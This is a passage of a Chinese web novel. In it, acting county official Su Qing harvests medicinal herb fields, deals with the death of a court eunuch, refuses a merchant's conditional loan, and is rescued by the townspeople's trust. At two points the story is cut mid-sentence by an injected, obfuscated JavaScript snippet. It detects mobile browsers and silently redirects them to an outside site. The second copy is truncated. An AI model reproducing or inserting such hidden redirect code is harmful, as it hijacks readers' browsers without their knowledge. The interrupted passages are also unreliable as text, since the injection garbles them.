苏清又看了眼那艘商船,对码头书吏低语几句。 果然,一个时辰后,码头书吏来报:“确实是叶家的商船,也确实是叶大少爷亲至。” 她就说,这次的叶家船只,格外华丽。 这叶大少爷上次过来,还是问他们要粮。 如今早就欠货两清,这次来,所为何事? 顾从斯想到什么,开口问道:“上次你说,他送你一份礼物,是什么?” 什么时候说的? “元宵节,送药材种子那次。” 苏清想了好一会,才想到这回事。 都过去三个多月了,顾从斯怎么还记得。 不过礼物嘛。 确实送了。 见苏清不答,顾从斯皱眉。 到底有什么,是他不能知道的。 苏清只对武捕头道:“注意叶家的动向,看看他们有什么好买卖。” 在其他地方做买卖就算了。 在南江县的话,她必须知晓。 不过接下来几天里,叶山鸣只见了接替王乡绅的张大户,又巡查了他家的百货铺。 说是带来不少新奇好玩意儿,引得南江县有钱人都去买。 见他没什么动作,苏清也不再关注了,把精力都放在即将收获的药田上。 九千亩药田,第一茬在五月初六可以收获。 陆陆续续,一直到五月二十九收完。 收完之后,就可以继续种其他药材,育苗工作还要继续,接着统计新药田的数量。 余内官的手下巡查完药田,就有不少农户心生后悔,怎么不跟着种药材。 但没关系,第一批错过了,可以种第二批。 罗户房说的高兴,苏清却提醒道:“主粮跟经济作物的比例还要多关注。” “不能因为药田挣钱,就不种粮食的。” “倘若有这样的农户,尽快规劝,劝不动就押到衙门里。” 没办法,种药田不积极,苏清担心规模不够大,人家军中不重视。 种的太积极,不种粮食了,那更是动摇根基。 中间的度,必须把握好。 苏清总算知道她姥姥说的,别想着一次性解决问题,也没有一劳永逸。 他们这个位置,就是要不停地解决问题。 也正因这般想法,她是最不怕出意外的人。 罗户房立刻领命,不会让这种事情发生。 多数农家人并不糊涂。 他们清楚地知道,只有先饿不死,才有力气赚其他银子。 反而县里几家地主大户,对此蠢蠢欲动,想要逼着手底下佃户们都种药材。 幸好苏清的政令到了,才让他们歇了心思。 几番处置下,南江县农户无不心服口服。 “明日便是官田第一茬药材收获。”苏清道,“衙门肯定要到场的。” “通知七家药铺掌柜大夫,到时候一同前往。” 几家药铺都知晓,提前做了准备,更备下桌椅器物贡品香烛吃食杂耍戏子等等。 大家都知道,这是他们发家的好机会,务必请神佛保佑,求个吉利。 永晟二年,五月初六。 苏清为首,顾从斯居其后,其他人或开路,或伴在左右,一齐往官田走去。 梅娘也带着朱娘子等人前去看看热闹。 收获的日子,自然无比轻快。 要说南江县的官田,自苏县令在时,便整治一番。 留在此地的佃户,都是勤劳肯做事的。 如今换了苏清来管,让他们兼种药材,是有些不愿意。 但不愿意归不愿意,事情却做得漂亮。 好在如今知道,那军中后勤余内官已然应下。 他们只等着收钱,自然无话可说,满心欢喜。 苏清到的时候,七家药铺掌柜大夫家眷都已到齐。 苏清看了过去,一眼看到人群中间的叶家大公子,对方依旧拿着折扇,朝她挥了挥。 “他怎么在这。”顾从斯明显不满。 叶山鸣直接走过来,笑道:“小的见过女县官。” “我家跟药材七家之一聂家合作,故而在此,以后还请衙门多多照拂。” 虽在解释顾从斯的疑问,叶山鸣却一直看着苏清。 苏清像是并不惊愕,只微微点头,又听聂家掌柜说了一遍,方道:“既然入资了你家药铺,那便没话说,须小心行事,有事可来衙门寻我。” 聂家掌柜兼大夫连连点头,大大松口气。 他只会医术,不善经营,否则也不会居于七家药铺之末。 之前什么好事他都赶不上。 叶家找他合作,虽然突然,却正中下怀,既能扩大店面,又能撇去经营之烦恼。 现在又要苏主事做事,终于可以心安了。 叶山鸣挑眉,似乎不知道这话是在点他这个外地商人。 不过苏清的态度,让本地人十分高兴。 他们主事,就是向着自己人的。 有人甚至收了去叶山鸣的敌意,不再把他视作威胁。 “多谢了。”叶山鸣故意压低声音。 苏清只当不知道,让手下安排收获。 叶山鸣安排的吹打队伍,香烛祭祀也派上用场。 官田之上,不管衙门官吏,还是收获的佃农,以及围观百姓,热热闹闹看向成熟的药材。 不说了! 收获! 这么好的日子,赶紧收药了! “这药材长得饱满漂亮,收下来之后再经处理,就是上好的伤药。” “真好啊,没想到咱们南江县,意外地适合种药。” “这次种的好,药也全被收走,下半年愿意种药的农户增加不少,各村村长里长,都在商议多种药。” 那他们这些药铺老板,只从中赚取收购买卖的银子,就能获利不少。 哎,听苏主事的话,果然没错。 幸好当初配合她防治疫病,否则没这样好的事。 没看白家郝家。 当初他们最先响应苏主事,如今衙门大小病痛,乃至后勤余内官生病,都是他们去的。 还有照顾伤员,同样能得银钱。 现在江南叶家都来分一杯羹。 必然也是看中伤药的走势。 众人欢呼时,苏清又看向叶山鸣,客气请他留步。 顾从斯见她表情,知道还有缘由,便伴在左右。 叶山鸣今日穿了身鹅黄绣文长衫,戴着的配饰无一不精美华丽。 好在他这个人身形高挑,与顾从斯不相上下,看着多了几分气势。 此刻笑眯眯走过来,不知道的人,只当他是哪家富贵闲人。 苏清此刻却无暇欣赏这位的俊朗,只道:“叶公子,你是得到什么消息了吗。” “南江县这边,难道有什么变动。” 叶山鸣不答,见苏清瞪他,这才笑道:“苏主事还真是见微知著。” “你可比一般男子强多了。” 这下,才看了眼苏清的未婚夫顾从斯。 叶山鸣虽在江南,这里的情况却一直知晓。 自借粮还粮惩治王乡绅之后,后来一件件事,都可见苏清魄力。 甚至还能搭上军中关系,若不是她的能力众所周知,军中也不肯让她照顾伤员,并帮她搭上内官的线。 但百闻不如一见。 真到跟前了,方知她的聪慧不止于此。 苏清见他要答不答,只扯闲篇,直接道:“听闻叶家做些宫廷买卖,是不是得知什么重要消息。” “你家年前在此地设百货杂店,还好理解。” “这次亲自过来,参与伤药买卖,必不是只为那九千亩药田。” 话至如此,叶山鸣也不必瞒了,本就是要同苏清提前商议的,他正色道:“宫中确实有消息。” “总兵大人提议,让南江县成为军中后勤伤员中转地。” “也就是说,以后各地运往前线的物资,大部分都会经过南江县。” “船只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16365907|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车马,皆在此地停靠。” 苏清跟顾从斯同时倒吸一口凉气。 两人相处时间久,动作极为同步,看的叶山鸣牙酸。 但他也知道,这对“未婚”夫妇为何惊愕。 因为此事一旦能成。 整个南江县,只赚来往差人的落脚钱,都能大赚一笔。 简单来讲。 就算放到现代,作为交通枢纽的地方,必然繁华。 人来人往,能带来不知多少收入。 倘若真的能成。 南江县的发展,必然极为迅速,往后被称为北边小江南也未可知。 怪不得叶家大少爷亲自来布局。 “南江县太平安定,粮价平稳,又没有疫病。” “加之种药材,清航道,跟内官关系也不错。” “总兵大人,如何不看重。”叶山鸣笑着道,语气里带了不加掩饰的欣赏。 战乱过后,其他地方官员疲于奔命。 南江县,独树一帜。 但话说到这。 别说苏清,就是顾从斯,脸色都变得不好。 叶山鸣当然明白怎么回事,垂眼道:“这事对南江县只有好处。” “但对苏主事你,福祸焉知。” 毕竟这么大责任,这么丰厚的利润。 会交给苏清吗。 她只是无名无分的代主事,从来都不是本地官员,甚至不是书吏。 像是故意打破沉重气氛,叶山鸣挑眉看向顾从斯:“世事多变啊。” “对了,你这里倒有个好消息。” “广乐府快有新知府新学政了,今年八月秋闱必开。” “提前恭喜顾秀才成为顾举人。” 顾从斯脸色更差,下意识看向苏清。 苏清可能会被换掉,秋闱却要开了。 自己若考上举人,他不敢想家里会如何做。 顾从斯反击:“若真能高中,到时候请叶少爷来喝双份喜酒。” 秋闱酒跟喜酒。 叶山鸣撇撇嘴,据他所知,顾家眼高于顶,还真把自己当未婚夫了。 苏清这性子,不适合嫁人洗手作羹汤。 该给他当伙计掌柜才是,必然能把此地生意做起来。 苏清翻了个白眼,制止两人莫名其妙地针锋相对,直接道:“想把我换掉,还早得很。” 苏清忽然想到余内官的话。 还是要把这代主事,早点转为正的。 将南江县做前线物资中转地一事,既是危机,也是机遇。 她必须马上行动。 苏清不加犹豫,写了三封书信出去。 寄出去之前,还让顾从斯帮她润润色,普通信件就算了,这种信件还是要拽点古文,她是真不会。 余内官一封,问问有没有女子做县官的先例,还请内官帮忙周旋。 又问候余内官身体如何,送了几服好药。 薛守备那边比较简单,请他把最后一封信送到总兵大人手中。 信里不提自己知晓中转地一事,只讲如今身份多有不便,想谋个名正言顺的官职。 否则底下三班六房的书吏差役们,也上不了官府文牒,办事多有不便云云。 他们南江县战后不易,还望总兵大人可怜。 最后又谢过总兵大人,谢他当初平乱,并亲自解下她爹苏县令悬挂在城楼上的尸体,让她父亲得以入土为安。 自己携母亲以及五岁幼弟拜谢,若有机会,还要亲自捧礼谢过。 此信文辞虽为顾从斯润色。 可里面的意思却是苏清想写。 顾从斯这才明白,怪不得有人会夸信件写的机敏。 苏清这信,便足够机敏。 在他看来,南江县的县令,非苏清莫属。 只是不知,那总兵大人何意。 苏清笑,不管总兵何意,她都会为自己争取。 此路不行,她就再试试别的。 反正这官,她肯定要做。 让她把心血让给别人?这绝不可能。 24.第 24 章 信件将要送出,顾从斯却未走,看向埋头处理公文的苏清,开口道:“我想请爹娘与你家交换名帖八字,今日办完公事,能否同梅婶娘商议。” 罗户房,云喜,刘小妹对视一眼,随即高兴起来。 这两人,终于要把婚事提上日程了吗?! 即便现在不好成亲的,只定亲也行啊。 罗户房到底经的事多,明白这是顾秀才的考量,想让苏主事安心。 无论这主事谁来做,苏清都有退路。 还有一层原因,自是今年秋闱在即。 等顾秀才成为顾举人,顾家阻力更大。 毕竟如今这种情况,顾家夫妇都不愿意。 若以后情况有变,估计会连夜带着顾从斯离开。 都在衙门当差,谁还不知道顾家的小心思。 更别说,之前顾秀才也没明确表过态,顶多跟梅娘有来往。 若不是他这点动作,很多人都快忘了两人还有口头婚约。 别人都知道的事,苏清怎么会不明白,她揉揉额角。 如今她一心想着怎么保住官职,更要把收获下来的药材晾晒收好,等军中接收。 哪有工夫管这些。 再说,对于这件所谓的婚事,她也没认真思考过。 如今更不是思考的好时机。 硬要说的话,她更倾向于取消。 苏清斟酌几分,开口道:“如今事多,等事情忙完再说吧。” 再说?! 顾从斯看了看罗户房他们,示意他们离开。 这怎么可以再说。 两人早就定了婚约,如今不过往前推进。 苏清却摇头,不让罗户房走,还要处理药材的事,忙死了,你要去哪? 罗户房要走不能走,要留不能留。 你们未婚夫妇吵架,关我什么事啊! “信件要尽快送出。”苏清提醒,“还不知朝廷命令什么时候下来。” 想来,也不会太久。 现在已经五月初六。 想要乡试如期举行,那各级官员七月份就要到任,六月便要出发。 时间不等人。 更不等她。 顾从斯只好暂时放下他跟苏清的事,立刻差妥帖的人送信,又额外给送信差役不少银钱,让他们务必快些送到。 南江县可能成为后勤中转地,以及或许会换主事的事,外面暂时还不知道。 现在家家户户都在关注药材的事。 已经种了的,收药晒药,半点不会马虎。 还没种的,则要约定药材苗,整理出适合种药的田地。 即使田地不多的人家,也能在小菜园里隔片区域。 衙门都说了,以余力来种药材,不得损伤粮田种经济作物。 南江县的情况,比叶山鸣想得还要井井有条。 甚至粮田药田会相互挤压这种情况,她都在提前预防。 “可惜了,京城看不到这些。” 叶山鸣嘴上说可惜,实际上却是笑眯眯:“也好,这样的人才,可以为我所用。” 他只等着苏清被换下,便立刻以千两金银,聘她做叶家在广乐府各分号主事。 小小的广乐府二三十家分行,对苏清来讲,应该是小菜一碟。 为此,叶山鸣借着药材之事,经常往衙门跑。 又听说顾秀才想要让两人抓紧定亲,笑眯眯对苏清道:“哎,何必呢。就算不做官了,还有别的路走。” “真成亲了,只能相夫教子。” “对了顾秀才,你们读书人有句话叫什么,悔教夫婿觅封侯,是什么意思?” 顾从斯气急,咬牙道:“叶老板,此事好像与你无关。” 叶山鸣耸耸肩:“我这人只是心肠好。” 心肠好? 苏清抬头:“确实心肠好,好端端的,送我一份大礼。” 什么大礼? 叶山鸣恍然大悟,笑得一双桃花眼更俊朗。 顾从斯堪称漂亮的脸上,却透出几分凌厉。 苏清刚要说话,就见罗户房走过来,一脸愁容:“苏主事,新找的库房又不够用了。” 罗户房看到叶家大少爷在,只说了这句话。 请叶山鸣离开后,罗户房继续道:“还有第一批交药材的佃户农户,他们拿着欠条来要银子。” 从五月初六开始,至今五月十六。 陆陆续续收了十几万斤晒好的药材。 这些药材从农户佃户家中,运到码头库房。 衙门暂时没钱,只按照各家药材数量打了欠条,只等军中银子到了,再加利息一并还上。 先说第一件事。 那就是库房不够用。 码头库房确实紧张,毕竟来往船只颇多,多数库房都被各家商户租用,价格也节节攀涨。 苏清道:“把距离码头最近的义仓腾出来,暂时先用着,等手头有钱了,再去码头建新仓。” 第二件事更为头疼。 虽说衙门打了欠条,还有利息。 但若不是有苏清苏主事在,别说欠条了,就算盖了官府印章,这些农户佃户也是不肯的。 这种情况下,能宽限他们几日,已经是百姓们的信任。 可收购药材,兑换银子这事。 军中暂时还没有消息。 “数着日子,也差不多了吧。”罗户房道,“余内官四月底走的,现在也小二十天了。” 苏清点头。 但她心里,总有点不安。 就算军中办事章程多,可她十日前送去的三封信,只有薛守备给她回信,说给总兵大人的信件已送到,让她等消息即可。 就说事情办不成,回封信总可以吧。 就算总兵贵人多忙。 那余内官呢? 但越是这种时候,她越不能慌乱,问道:“衙门账上还有多少银子。” “对了,我三叔他交上去的五百九十四两银子,应该没动吧?” 罗户房答了账上的情况,又说后面银子没动过。 “先挪后面的钱,还是鼓励大家晚点兑银子。”苏清道,“我让武捕头跟龚兵房再去催一催。” 尤其是余内官那边,到底怎么回事。 他们关系处的挺好啊。 苏清难得烦躁。 各种事情堆在一起,是个人都难免头疼。 不过她面上不变,让衙门上下都颇为安心。 作为主事,她最不能表现得急躁。 谁料苏清这封信还未送出去,南江县码头又送来个熟悉的人。 “余内官来了!”武捕头道,“病得更厉害了。” 龚兵房道:“军中大夫说没有办法,又看过南江县这边开的方子,说这里的大夫治疗痢疾更厉害,便让人送回。” 原来不回信,是不能回了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏清一连串吩咐,众人立刻响应。 顾从斯最后往门内看一眼,只见苏清拿起白家祖传的银针,在余内官几个穴位上刺入。 她动作利落,没有半分迟疑。 梅娘听说此事,急急忙送来娘家珍藏的人参。 白大夫亲自煎药,送到病房当中。 不仅苏清寸步不离,云喜跟刘小妹也不得离开,并要他们两人亲自喂药。 余内官先是针灸,再是人参服下,终于艰难睁开眼。 一生注定无子女的余内官睁开眼,看到的便是十一岁小女娃捧着药汤,十三岁小少年一手拿帕子,一手拿汤勺给他喂药。 “好,好。”余内官眼眶含泪,“好啊,” 旁人或许不知他这种情况了,为何还在说好。 王李两位公公却明白。 他们是绝不会有子嗣的,都说人越缺什么,便越想要什么。 自己这些没根的人,做梦也想到会有子女绕膝,悉心伺候汤药的场景。 余内官,还真是幸运。 就在此刻,苏清缓缓开口:“余内官,您要是不嫌弃,将这两个孩子收做义子义女,可好。” “这两个孩子着实可怜,做梦都想有个真真的爹。” 25-30 第25章 认爹?! 在场众人傻眼。 就连门外之人都傻了。 苏清让云喜刘小妹贴心伺候,打的是这个主意。 至于两人的身世,所有人再清楚不过。 余内官了解的,甚至比很多人都多。 余内官落下泪来,他小时候先没了爹,娘勉力护着他,两人艰难求生。 等娘也没了,日子更加艰难。 平日想到时,还难免落泪,何况现在。 即使知道苏清为何有这提议。 但余内官也拒绝不了。 他看着两个孩子一脸茫然,就知道此事两人不知情,全是苏清的主意。 如此这般,让他更心动了。 自己是将死之人。 若能在死之前有两个好孩子,才是人生大幸。 借着参汤跟针灸吊命,余内官临死之前,做的最后一件事,竟然是有了一双儿女。 云喜跟刘小妹磕头喊爹。 余内官大笑几声,直接闭上眼,直接没了气息。 他本就病入膏肓。 方才是强行提命了。 死了。 余内官说死就死了。 他这一死。 几乎断绝苏清做县令的所有可能。 不止如此。 甚至南江县的药材买卖也要中断。 这事是余内官全权负责。 他死了,此事便无人推进。 之前的种种疑惑,终于有了答案。 为什么军中迟迟不来收购药材。 为什么给余内官信件没有回音。 而总兵那里,虽不知什么考量,也许是关系不够近? 所以懒得帮忙? 不管什么样。 事情已经到了这样。 还是着手处理眼前的麻烦吧。 首先是本地药材问题。 当初衙门也算信誓旦旦,相信军中收购不会出问题。 故而提前收了农户们的药,还打了欠条。 现在货物囤积,一时间卖不出去。 但百姓们肯定会来兑银子。 这点苏清可以理解。 百姓们怕衙门没钱给,也怕她要是被新县令换掉,这些欠条成为废纸一张。 说到底,百姓们接受欠条,全因苏清个人信誉。 换个人做主事,他们就算把药材烂在家里,也不会提前给出去的。 为这这份信任,也怕新县令说到就到。 苏清肯定要把欠百姓的药材钱给还了。 如果她注定要走。 就不会留一堆烂账在这。 余内官丧事还在办,苏清就已经让罗户房算算衙门账上,还有多少银子。 罗户房道:“去年八月份收的田税,去掉清淤泥,买药材种子,俸禄,照顾伤员,等等各类支出,还有余银一万三千两。” “但欠条总额加起来,共计两万七千两。” “即使把账上银子全都填进去,也还差一万四。” 一万四千两白银。 如何一口气借来这么多银子? 她如果还能做这个主事,各家大户加起来,或许有可能。 但人人都知道,她随时会被换掉。 苏清难免苦笑。 事情都堆到一起了。 “愁啊,没钱。” 苏清正打起精神,四处凑钱。 有个锦衣玉带的人,却直接上门送银子。 而且一送,就是大手笔。 “一万八千两。”叶山鸣笑眯眯道,“怎么样?” 衙门书房内。 苏清跟顾从斯同时看向他。 叶山鸣会有这么好心? 不见得吧。 “条件?” 叶山鸣笑着摇摇扇子:“跟聪明人说话,果然省事。” “条件就是,你从衙门离开后,来我家做事。” “叶山鸣?!”顾从斯皱眉,“你在说什么?!” “我说的是当掌柜,你以为呢?”叶山鸣继续道,“我家在广乐府大大小小有二三十店铺,一直疏于打理。” “想来若交给苏主事,我是放心的。” 话说到这。 大家明白怎么回事。 那就是看苏清快离职了,赶紧来挖人啊。 旁边罗户房等人投来赞许的眼神。 不错,有眼光。 这让苏清沉默片刻。 不得不说,叶山鸣的提议非常有诱惑力。 一则,如果自己注定离开衙门,那去做买卖也不错。 也是能养家糊口,庇佑母亲跟弟弟的。 二则,整个县城里,能借给她这么多银子的人并不多。 但这怎么看。 都不太对劲吧。 有种卖身给叶家打工,然后还债的感觉? 苏清犹豫之时,顾从斯欲言又止。 叶山鸣却直接戳破:“怎么?顾秀才不愿意?” “也是,以后你们要是成亲了,她便是官眷,不好抛头露面出来做买卖的。” 不等苏清顾从斯说什么,叶山鸣继续道:“所以我第二个条件,做掌柜期间不能成亲。” “做买卖经常要出门,以免因夫家生变故。” 江南一带,经常有这样的事发生。 出嫁前好好的,嫁人之后,那些女掌柜们,一会要顾及夫家,一会要生孩子,烦死人了。 叶山鸣直接把丑话说到前头。 放在药材出变故之外,叶山鸣还不会这样苛刻。 但眼见苏清缺钱,此刻提出,便是最好的时机。 苏清嗤笑:“好个精于算计的叶家大公子。” 太会利用形势。 看似用合理的借口,提出无理要求。 叶山鸣颇有些势在必得的架势。 她算准苏清已经无路可走。 要么拿他的银子,给他做掌柜,把百姓的钱还了。 要么看着百姓一年的辛苦打水漂。 叶山鸣觉得,他太了解苏清。 这人对本地百姓,甚至对外来的伤兵都极好。 这种情况下,都不暂停对伤兵的拨款。 她怎么可能在离开之际,让百姓贫困潦倒。 苏清笑,躺到椅背上,笑眯眯道:“送客。” 送客?! 叶山鸣站起来。 苏清是什么意思? 难道他看错人了?! 叶山鸣笑意更深,看了看旁边的顾从斯。 还真是伉俪情深啊。 叶山鸣转身离开。 苏清面对众人目光,才开口道:“他这人条件极多,我要是敢答应,这只是个开始罢了。” 这种资本家,肯定会榨干她所有用处啊。 即使想要他的银子,也不能被他牵着鼻子走。 顾从斯扭过头,眼神却变得格外温柔,只点头,不说话。 苏清揉揉额角,开口道:“继续筹钱吧。” “对了,放出风声,看看有没有人愿意收药材。” 以前押着药材不卖,是等着军中统一收购。 现在知道军中收购的路基本断了,便再找出路即可。 只是怕,若有人强行压价。 倒是让人头疼。 五月二十,余内官丧事草草办完。 他手下等人立刻回京复命。 这余内官的死,上面肯定还会追究。 具体如何处置,还看新内官什么时候来。 苏清已经不管这些。 她只想赶紧筹款,赶紧把药材以合理价格卖了。 只为一条。 让百姓安心,让他们的辛苦不白费。 苏清前前后后下了不少帖子,在县里各家筹集银钱。 到五月二十七,还差欠款九千两。 伤兵处知道此事,尽力节省银子,好让衙门不那么为难。 周千户还对手下道:“我送到军中的信件,薛守备他们可收到了?” “收到了,还要再送吗,已经二十多封了。” 周千户咬牙:“送,继续送。” “广乐府周遭,只有南江县愿意收留咱们,而且给吃给药无不细心。” “同袍身故,衙门甚至拨银子买棺材安葬。” “我等岂能坐视不理。” 叶家店铺里,叶山鸣难得坐不住,掌柜道:“大公子,苏主事不会来的。” 叶山鸣直接看过去,眼神微眯:“听说她在卖药材了。” “去,低价收购了来。” 掌柜心道,放在平时,大公子也不是赶尽杀绝的人。 此刻怎么逼得这样紧。 叶山鸣回答:“你不知道,她这人,若不是到山穷水尽,绝不会放弃。” “想把她挖到咱们叶家,必须用些非常手段。” “大少爷钓过鱼吗。”掌柜平时就爱当钓鱼佬,“鱼线绷得越紧,鱼越容易跑。” “尤其是倔强的鱼,头破血流,也要跑的。” “再说,苏主事,似乎还未到山穷水尽的时候。”掌柜从年前来到南江县。 至今已经有半年时间。 别人或许不知。 他接触的人多,却看的明白。 苏主事苏清。 并未走到山穷水尽的地步。 而且她身边的人,她做过的事,也不会让她山穷水尽。 衙门出了变故这件事,逐渐传到更多人耳朵里。 其中最远的山凹村村民,长途跋涉赶来。 不过他们过来,却不是要欠银的。 那村长颇有些憨厚,开口道:“我们仔细想了想,要是衙门给不了银子,可以把药材给我们。” “那样衙门既不欠银子,我们也有个物件。利息我们也不要了,知道衙门为难。” 他们把自家药材拿走,这样也算两不相欠。 明明做好了交易。 却自愿放弃? 怎么看都不划算了,等着苏主事给钱才是真的。 大家都知道,主事在努力筹款了。 衙门众人面面相觑。 “他们,是不想苏主事为难。”顾从斯慢慢道,“这样,苏主事就不用四处求人筹钱。” 山凹村的村民跋涉而来,想出这个两全其美的法子。 这事像是给各地村民提了醒:“对啊,我们也可以把药材拿回来。咱们自己卖的价格,虽不如衙门收购,但至少能拿到钱,苏主事也不用发愁。” “我家不着急的,懒得去兑银子,放那吧。” “其实我们可以把药材给苏主事,即使她以后不当主事了,也可以帮忙经营药材买卖啊。” “这话说的对。” “我这药材,是给苏清本人的,不是给南江县衙门的。” “没错!” “放苏主事手里慢慢卖吧!反正药材不愁销路。” “我同意!这世道,能信得过的人,也就苏主事母女了。” 苏清一筹莫展之时,却听到这样的消息。 她第一反应是。 假的吧? 难道下面人逼迫百姓了? 但等她出门偷偷探听,却见酒楼茶馆,似乎都在帮她出主意。 都是三个臭皮匠顶个诸葛亮。 如今却是满城人帮她出主意。 急着用钱的,就去拿回自己的药材,卖多少是自己说了算。 不急着用钱的,把药材给到苏主事本人,等她慢慢谈个好价格。 苏主事若能继续做主事,皆大欢喜。 做不成主事,正好可以做药材买卖,他们所有人都信任她。 苏清忍不住笑了下。 眼底泛出不一样的情绪。 最近事多且紧急。 一桩桩一件件。 像是无数烦恼压在心头。 她不想让百姓有损失。 百姓又何尝想让她为难。 她在南江县这一年,竟被如此看重。 这种让热意涌出心口的感觉。 好像格外不同。 “这就是姥姥说过的感觉吗。” 姥姥做赤脚医生,并不求回报,也不收钱。 可她很快乐,总是带着笑。 苏清仰了仰头,转身离开,正好看到叶山鸣。 叶山鸣对南江县百姓们的想法,自然是知道的。 这对他来说,自然带来极大震撼。 普通百姓。 怎么会这么拥护一个官员? 还帮官员想办法,帮她减轻负担。 这是他过往人生里,从未听说过的。 明明就是一群大字不识的人。 为何如此大义? 这点,甚至连顾从斯都不明白。 但他们都知道。 苏清身上的危机解决了。 衙门缺银子?! 不缺! 百姓们恨不得给苏清捐银子! 这看似不合理。 却是极为正常的。 没有苏清一年来的努力。 南江县,绝不是现在这般。 如果说本地百姓的踊跃,让众人意想不到。 那停靠的商船船主,却更让人想不通。 其中一个王姓船主,平日最是急公好义,听说此事后,直接道:“我买一万斤药材。” “药材如此紧缺,运到哪都是赚。” “什么?苏主事着急,所以可以压价?” “你们这群没良心的,除开南江县,哪里还是适合落脚的码头?” “其他码头的差役,不把你们剥几层皮不罢休,都忘了?!” “你们信不信,把南江县药材滞销的事传出去。” “立刻有无数人来买!” 这话都没错。 但压价了,不是能赚更多吗。 当然,现在肯定不行了。 百姓们不着急要钱,衙门就不着急卖货。 苏清谈判空间更大,价格必要再提一提的。 等到药材消息传开,买家只会更多。 到时候,不是低价购买的问题。 而是能不能买到的问题。 事已至此。 原本等着低价收购的货商们互相看看。 还等什么吗! 抢啊! 这世道。 药材最不缺买家! 几乎一夜之间。 南江县的药材价格节节攀升。 不管把药材取走的农户。 还是把药材寄存的农户,全都傻眼了。 怎么回事。 前几天不都不买吗。 现在突然变了副面孔?! 忙碌谈买卖的苏清,以及顾从斯,叶山鸣等人却明白。 此次转机。 却是百姓的能量。 他们对苏清本人的信任,一举扭转了局面。 经过这件事,不少人认真看向普通百姓。 明明在很多人眼中,他们是那样普通,那样平凡,好像一抓一大把。 但他们一群人,变成一个个鲜活个体的时候,所迸发的能力,不是个人可以阻拦的。 强如富商叶山鸣,就是败在他们手下。 他想借势逼迫苏清为他所用。 百姓们无意间却创造形势,将苏清解救出来。 “民为贵,社稷次之,君为轻。”顾从斯轻道。 苏清却没他俩那么多想法。 百姓如此信任她,她更不能让大家吃亏啊。 趁着自己还是本地主事,赶紧卖药材,赶紧让百姓赚钱。 这一圈折腾下来。 时间刚到五月底,仓库里的四十多万斤药材,已经售出大半。 此刻衙门缺银子吗?! 不缺! 不仅不缺,苏清还非常好心地买了猪羊送到伤兵处。 最近来的伤员,伤势都很严重,吃点好的补补! 大家一起同乐! 周千户特意来谢,他眼圈都是红的,脸上带着愧疚。 苏清却道:“我知道你送了许多信去军中。” “薛守备也说,前线战事正紧,总兵无暇顾及的。” “是啊,所以最近伤员极多。”周千户深深叹口气。 可他发愁的,还有另一件事。 “朝廷真的下令,要送个新县令过来?” 岂止本地百姓,过往商船担心。 就连周千户还有伤员们,也担心啊。 没了苏清。 南江县,还会好吗? 所有人心存疑虑。 可苏清是女子,没有功名。 一直都是名不正言不顺。 若不是她能力过硬,反对她的人,必然极多。 不说旁的,连她三叔都? 听说苏三叔有些蠢蠢欲动,已经在叫喊着,自己要巴结新县令。 而且他这个典吏虽递了辞呈,上面还没批啊。 新县令还没来,就有小人作祟。 只怕真到那时候,这里就完了。 周千户心道。 朝廷也太迂腐了。 不看能力,只看男女。 真遇到事了,谁管男女啊。 而且京城里皇上身体不好,也是太后掌事啊。 苏清拍拍周千户肩膀,安慰道:“放心,我不会放弃的。” 不管为了她,还是为了本地百姓。 她都不会放弃。 山穷水尽了吗? 还早呢。 苏清在等人。 准确说,是在等跟她有“仇”的人。 那就是余内官的同僚。 也就是即将接替余内官的人。 五月三十。 正是余内官死后的二七,也就是第十四天。 苏清带着云喜,刘小妹去坟上祭拜他们干爹。 香烛纸钱摆好,便听有人骑马而来。 从马背上跳下的公公眼眶极红,满脸不屑地盯着苏清。 唯有看到披麻戴孝的云喜,刘小妹,方缓和脸色。 这里的主事虽有算计。 却也全了好友余内官的心愿。 他们这些跟余公公关系不错宫人,谁不知道他就想要儿子,就想要女儿。 可惜啊。 他们是阉人。 是绝不可能的。 他听王李两位公公说了。 这两个孩子在余公公离世前后,皆是用心照料。 这便不错。 回到衙门。 不少人才知道,苏主事为何在余内官临终前,匆匆让云喜刘小妹认他做干爹。 倘若没这两个孩子。 接替余内官的齐内官,必然要打杀不少人。 这哪是孩子。 分明是保命符。 更让大家惊愕的是。 当时情况那般紧急。 苏主事还是做了准备。 想到这,所有人冒出同样的想法。 这样的人不做本地主事。 是朝廷有眼无珠啊! 不对,主事都不行。 应该做本地县令! 今天晚上就做这个梦,梦苏主事做县令! 衙门厅堂,齐内官脸色不佳,问起余内官去世前后。 苏清把余内官头一回来的情况,第二次来的情况。 以及当时吃了什么药,第二次吃药的药渣,该说的说,该呈上的呈上。 齐内官点头:“这些我都要带走。” 内官死在任上,还是刚来就死。 背后有多少事,都不知道。 齐内官作为党羽,必要查明白的。 好在一番盘问,齐内官已然打消南江县的疑虑。 这是个聪明又谨慎的女主事。 比之宫中谋划为胜的娘娘们,也不差的。 正事说完,苏清给两个孩子使眼色。 云喜带着小妹跪下,朝齐内官磕头,并道:“余云喜,刘小妹,给齐叔磕头了。” 余云喜?! 云喜赶忙递上自己新改的身份契凭。 上面赫然写余云喜三个大字。 不过父一行空着,大概是不想擅自做主。 但能把姓氏改了。 便是极好的。 “好啊,老余有后了!” 对于刘小妹,齐内官倒不介意,她到底要嫁人,姓氏不重要。 可对两人再次喊的齐叔,他是应下了,并摸出两枚玉佩,一人一个。 至于其他事情,以后再说。 齐内官现在要去江对岸看看,查查老余在那边,到底发生了什么。 苏清却道:“一路奔波,齐内官跟其他公公应该都累了。” “要吃顿热汤饭,再出发也不迟的。这里离北江县很近,不耽误事。” 小费书吏来报:“苏主事,梅娘已经把饭菜摆好了。” 话已至此,齐内官点头称谢。 苏清跟顾从斯自是要陪同的。 